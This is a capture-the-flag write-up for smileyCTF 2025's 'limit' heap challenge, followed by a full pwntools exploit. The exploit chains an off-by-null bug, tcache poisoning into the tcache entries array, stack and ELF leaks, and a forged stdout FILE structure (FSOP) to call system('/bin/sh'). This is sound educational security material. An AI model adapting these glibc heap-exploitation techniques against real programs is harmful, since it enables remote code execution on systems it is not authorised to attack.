limit - smileyCTF 2025

I heard you could malloc into scary places, so im adding a check to prevent that from ever happening!

limit.tar.gz

Overview

This challenge implements a heap note system with malloc/free/print/write operations on glibc 2.39. The most annoying restriction is the limit check that prevents creating chunks above the heap memory space boundary, set using sbrk(0).

The main vulnerability is an off-by-null bug in the write function:

chunks[idx][len] = 0;

This writes a null byte at position len, which can overflow into adjacent chunks.

Furthermore, chunks are not zeroed out on allocation, allowing us to leak data.

The Challenge

Looking at the source, we have standard heap operations with size restrictions (max 0xf8 bytes):

case 1:  // malloc up to 0xf8 bytes
    chunks[idx] = malloc(sz);
    if (chunks[idx] > limit) {
        puts("hey where do you think ur going");
        chunks[idx] = 0;
        break;
    }

The off-by-null occurs here:

case 4:  // write to chunks
    int len = read(0, chunks[idx], (uint) sizes[idx]);
    chunks[idx][len] = 0;  // Off-by-null!

Exploitation Strategy

The core strategy exploits the off-by-null bug to create overlapping chunks, then leverages tcache poisoning in an interesting way to bypass the heap limit restriction. Instead of trying to allocate chunks beyond the boundary, we manipulate tcache metadata to allocate a chunk directly inside the tcache entries array itself. We abuse this primitive to leak stack and binary addresses by redirecting allocations to arbitrary memory locations and reading the next chunk pointer, then finally overwrite a chunk pointer in the global chunks array to point to stdout and perform File Stream Oriented Programming (FSOP) to gain shell access.

Step 1: Heap Leak

First, we get a heap leak by abusing the fact that the chunks don’t get zeroed out on allocation:

free(malloc(0, 0x38))
a = malloc(0, 0x38)
heap_base = u64(print_chunk(a)[:-1].ljust(8, b'\0')) << 12

Step 2: Overlapping Chunks via Off-by-Null

We create overlapping chunks by abusing the off-by-null to modify chunk sizes:

b = malloc(1, 0x28)
c = malloc(2, 0xf8)

write(b, b'\0'*0x20 + p64(0x60))

write(a, flat(
    0,
    0x60,
    heap_base + 0x2a0,
    heap_base + 0x2a0,
))

Step 3: Libc Leak

Fill tcache and free to unsorted bin:

x = [malloc(i + 3, 0xF8) for i in range(7)]
for chunk in x:
    free(chunk)

free(c)
d = malloc(3, 0xe0)
libc.address = u64(print_chunk(d)[:-1].ljust(8, b'\0')) - 0x203c70

Step 4: Tcache Poisoning - Writing into the tcache entries array

This is the key part - we poison the tcache to create a chunk inside the tcache entries array itself:

pad = malloc(4, 0x28)
free(pad)
free(b)

towrite = mangle_ptr(heap_base + 0x2b0, heap_base + 0x90) # d addr, tcache entries array
write(d, b'\0'*0x30 + p64(towrite))

malloc(5, 0x28)
tea = malloc(6, 0x28)  # This chunk is in the tcache entries array

Step 5: Stack and ELF Leaks

We can leak the stack & elf addresses via the next chunk pointer from the tcache entries array.

We also need to free a chunk before to satisfy this condition (from malloc.c):

code segment image

free(malloc(15, 0x18))
write(tea, p64(libc.sym['__libc_argv'])) # __libc_argv is tcache aligned
malloc(7, 0x18) # 'hey where do you think ur going\n'
stack_leak = mangle_ptr(libc.sym['__libc_argv'], u64(print_chunk(tea)[:-1].ljust(8, b'\0')))

free(malloc(15, 0x18))
write(tea, p64(stack_leak - 0x48))
malloc(7, 0x18)
elf_leak = mangle_ptr(stack_leak - 0x48, u64(print_chunk(tea)[:-1].ljust(8, b'\0')))

Step 6: FSOP for RCE

Finally, we overwrite a 0xf8-sized chunk pointer to point to stdout and perform FSOP:

fsop_chunk = malloc(4, 0xf8)  # a big chunk is needed to be able to fit the FSOP

free(malloc(15, 0x18))
write(tea, p64(exe.sym['chunks'] + 0x20))  # idx 4 (fsop_chunk), 0xf8 sized

chunks_ptr = malloc(7, 0x18)
write(chunks_ptr, p64(stdout))

fake = FileStructure(0)
fake.flags = 0x3b01010101010101
fake._IO_read_end = libc.sym['system']  
fake._IO_save_base = gadget
fake._IO_write_end = u64(b'/bin/sh\x00')
fake._lock = libc.address + 0x205710 # _IO_stdfile_1_lock
fake._codecvt = stdout + 0xb8
fake._wide_data = stdout + 0x200
fake.unknown2 = p64(0)*2 + p64(stdout + 0x20) + p64(0)*3 + p64(fake_vtable)

assert len(bytes(fake)) <= 0xf8

write(fsop_chunk, bytes(fake))

This works because the memory space checking is done only when allocating chunks.

Proof

flag image

Full Exploit

#!/usr/bin/python3
from pwn import *

context.log_level = 'critical'
context.terminal = ['zellij', 'action', 'new-pane', '-d', 'right', '-c', '--', 'zsh', '-c']

exe = context.binary = ELF('/home/razvan/Desktop/limit-SmileyCTF/limit_patched')
libc = exe.libc

def start(*pargs, **kwargs):
    if args.REMOTE:
        return remote("smiley.cat", 39321)
    if args.GDB:
        return exe.debug(gdbscript='continue', *pargs, **kwargs)
    return exe.process(*pargs, **kwargs)

io = start(aslr=True)

####### HELPERS #######

def mangle_ptr(bin_addr, ptr):
    return (bin_addr >> 12) ^ ptr

def malloc(idx, size):
    io.sendlineafter(b'> ', b'1')
    io.sendlineafter(b'Index: ', str(idx).encode())
    io.sendlineafter(b'Size: ', str(size).encode())
    return idx

def free(idx):
    io.sendlineafter(b'> ', b'2')
    io.sendlineafter(b'Index: ', str(idx).encode())

def print_chunk(idx):
    io.sendlineafter(b'> ', b'3')
    io.sendlineafter(b'Index: ', str(idx).encode())
    io.recvuntil(b'Data: ')
    return io.recvline()

def write(idx, data):
    io.sendlineafter(b'> ', b'4')
    io.sendlineafter(b'Index: ', str(idx).encode())
    io.sendafter(b'Data: ', data)

####### BEGIN #######

# Heap leak
free(malloc(0, 0x38))
a = malloc(0, 0x38)
heap_base = u64(print_chunk(a)[:-1].ljust(8, b'\0')) << 12
assert heap_base > 0x100000000000, 'corrupted leak'
print('heap @ %s' % hex(heap_base))

b = malloc(1, 0x28)
c = malloc(2, 0xf8)

write(b, b'\0'*0x20 + p64(0x60))

write(a, flat(
    0,
    0x60,
    heap_base + 0x2a0,  # addr of chunk a
    heap_base + 0x2a0,  # addr of chunk a
))

# Fill tcache
x = [malloc(i + 3, 0xF8) for i in range(7)]
for chunk in x:
    free(chunk)

# Libc leak
free(c)
d = malloc(3, 0xe0)
libc.address = u64(print_chunk(d)[:-1].ljust(8, b'\0')) - 0x203c70
assert libc.address > 0x100000000000, 'corrupted leak'
print('libc @ %s' % hex(libc.address))

# Tcache poisoning
pad = malloc(4, 0x28)
free(pad)
free(b)

towrite = mangle_ptr(heap_base + 0x2b0, heap_base + 0x90)  # d addr, tcache entries array
write(d, b'\0'*0x30 + p64(towrite))

malloc(5, 0x28)
tea = malloc(6, 0x28)

# Stack leak
free(malloc(15, 0x18))  # for the count check
write(tea, p64(libc.sym['__libc_argv']))  # __libc_argv is tcache aligned
malloc(7, 0x18)  # 'hey where do you think ur going\n'
stack_leak = mangle_ptr(libc.sym['__libc_argv'], u64(print_chunk(tea)[:-1].ljust(8, b'\0')))
assert stack_leak > 0x100000000000, 'corrupted leak'
print('stack leak @ %s' % hex(stack_leak))

# ELF leak - same way
free(malloc(15, 0x18))
write(tea, p64(stack_leak - 0x48))
malloc(7, 0x18)
elf_leak = mangle_ptr(stack_leak - 0x48, u64(print_chunk(tea)[:-1].ljust(8, b'\0')))
assert elf_leak > 0x100000000000, 'corrupted leak'
print('elf leak @ %s' % hex(elf_leak))

exe.address = elf_leak - 0x1160
print('elf @ %s' % hex(exe.address))

# FSOP
stdout = libc.sym['_IO_2_1_stdout_']
fake_vtable = libc.sym['_IO_wfile_jumps'] - 0x18
gadget = next(libc.search(asm('add rdi, 0x10 ; jmp rcx')))

fsop_chunk = malloc(4, 0xf8)  # a big chunk is needed to be able to fit the FSOP

free(malloc(15, 0x18))
write(tea, p64(exe.sym['chunks'] + 0x20))  # idx 4 (fsop_chunk), 0xf8 sized

chunks_ptr = malloc(7, 0x18)
write(chunks_ptr, p64(stdout))

fake = FileStructure(0)
fake.flags = 0x3b01010101010101
fake._IO_read_end = libc.sym['system']  
fake._IO_save_base = gadget
fake._IO_write_end = u64(b'/bin/sh\x00')
fake._lock = libc.address + 0x205710 # _IO_stdfile_1_lock
fake._codecvt = stdout + 0xb8
fake._wide_data = stdout + 0x200
fake.unknown2 = p64(0)*2 + p64(stdout + 0x20) + p64(0)*3 + p64(fake_vtable)

assert len(bytes(fake)) <= 0xf8

write(fsop_chunk, bytes(fake))

io.interactive()